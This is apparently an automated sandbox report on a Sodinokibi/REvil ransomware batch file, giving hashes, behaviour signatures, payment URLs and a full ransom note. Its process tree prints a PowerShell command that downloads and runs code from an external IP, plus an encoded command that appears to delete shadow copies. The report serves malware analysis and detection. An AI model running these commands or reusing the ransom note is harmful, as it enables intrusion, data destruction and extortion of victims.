Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    06-05-2020 04:10

General

  • Target

    Me1udSVB.bat

  • Size

    196B

  • MD5

    92449589b75088e99026c11efc758a3f

  • SHA1

    4a9dc4d04a9850b99af10ba65ea589c4ae0565d6

  • SHA256

    f1f555330316b69cf9d50580d41a4b4372689e6d37c90bd945b94140fde7680c

  • SHA512

    b9d4481f45a1acf8a62c195d8a1212d221d3a086fd401a352d349c7ae9b3c9ee31e95d383a0aa6ae03561e8e44dc2acd85c1c76acf6beff68d76d23dd7f4d1be

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/Me1udSVB

Extracted

Path

C:\ckg4v-read-me.txt

Family

sodinokibi

Ransom Note
---=== Welcome Alan Dalessandro MD ===--- [+] Whats Happen? [+] Your network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension ckg4v. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data of your clients and business contacts extracted. If you do not take action to contact us, the data will be published fo free access everyone. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/246EAF4AF2A85C1E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/246EAF4AF2A85C1E Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: QIw9RbDfa+a5Y3kdlTb5hcZV1myMgiVn6MGTdFMeNCnOkZU1unCbJL/FfVm5XmKq qX4sB7wua/kCw8Jl15s+p2N9UIUuNVpJzeRtQAUmZYNEr3M5hb2UVtpQXAk3LxRa oT56Z/qn/ccoloGl5oAsiY0M/pCsszM+un7fyPjgnT32A8WD6xxAVvDLZj4tRXyy cqwWZpqluXFHAr6Pq0PsbmrY/o0vKS/4bSLPH8+QlFvplHps3QVHlzvtIQCOn2bQ MV66fKBHZa043KLnV1K1Sx00oUKSX9wKwunx9rn9RVyhU7Jm8ybRDiqz/lXrrTLo 7GwRYAH/lH2J89MwCi6I+YAk+4qLVDZaSUo2dqWX7A1pY8ytrO+ZqKXWWbCqmAnN nGvUUghpRp0aJZRPe0hNn2VdFWE16bFwtwclpoExSIOruQXLK6JiTTW0MJHrY8S/ Wi9l6kSKoI7luyLe7GNu4ZctJvp6JWy7fpiMII5sNvVkr9zoetv9Wgh8Za/IP5o8 FQxO9X8nn6L3DgRXUWXsII6ZGF2kNKCArUnju2uH/+QX+jVXhSNSuOu1C0F4eYjH UOSMYvtSxgHa57QynGGdYvzlZKIeM+B/xZ/y+lJecq1qbfFW3HgoUzglfoFM1dqp VoEo4emN1iuCICl/L5xG7OHR+C5Xv3WKvJYQR4zZVRd30PyqgQcuS7YyJ6hQjq0C oBKelPn/jK9x8X5HIvXH5xn3/bV7tPAknR8N6ql9fXVCTWT4f1cWDEL+ULWvyYLU bBjfTqp/PbprRD+arJGIteJcZ01m2+rndNTFxJytRI/iyuGKyK7K/YZJ3rvdzPt6 2xaJdk8tz/+WJ17HOzDS8hikF733PYOMlGNPVmMSi50fLDsbFhUJzJ8kTIuhG6nj +juom2mIWW9snIz1vpBhWMqLi4Ax3Oz8AqjWQ7IH+4SGBFP59LK8/IPclTi81MWD 0bLwOvoPBIPnpyzgHQ70djejOFab3s1XqkclokNzzMTxePPmrpQIfTbdD6HSy/6T aBHzpu52gpzJSAPMo1FO5hzuUBvaL+Bkkc1PeyqmJ0gnXFJx4eMRHaaHab3eTdnJ IffpI4juf/eFSZiur19gZ2V2lPqRFAJVvTIWTYT/xOQtsw3oihC5vvjbRmUO9Evx 3AGImibWY9HZGVtvDScNS/giQjpuJM7fS/eaFOnb1LA9xKe7gMQc2zzNaawVxbVy eA02fY08q8h3TvQ/qxVPN/nHMl0iW8WO07bn8psjqHDo3yhbcKT6dz5IrhJbGSuv UBpIXIvSVQLFENYlflbwSVoE3jIZYvYhX3stohyp ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/246EAF4AF2A85C1E

http://decryptor.cc/246EAF4AF2A85C1E

Signatures

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Makes http(s) request 33 IoCs

    Contacts server via http/https, possibly for C2 communication.

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs
  • Modifies service 2 TTPs 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Blacklisted process makes network request 102 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Me1udSVB.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/Me1udSVB');Invoke-LHEITCCTUVUCD;Start-Sleep -s 10000"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      • Blacklisted process makes network request
      • Drops file in Program Files directory
      • Sets desktop wallpaper using registry
      • Modifies system certificate store
      PID:1460
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        PID:320
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Modifies service
    PID:1620

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms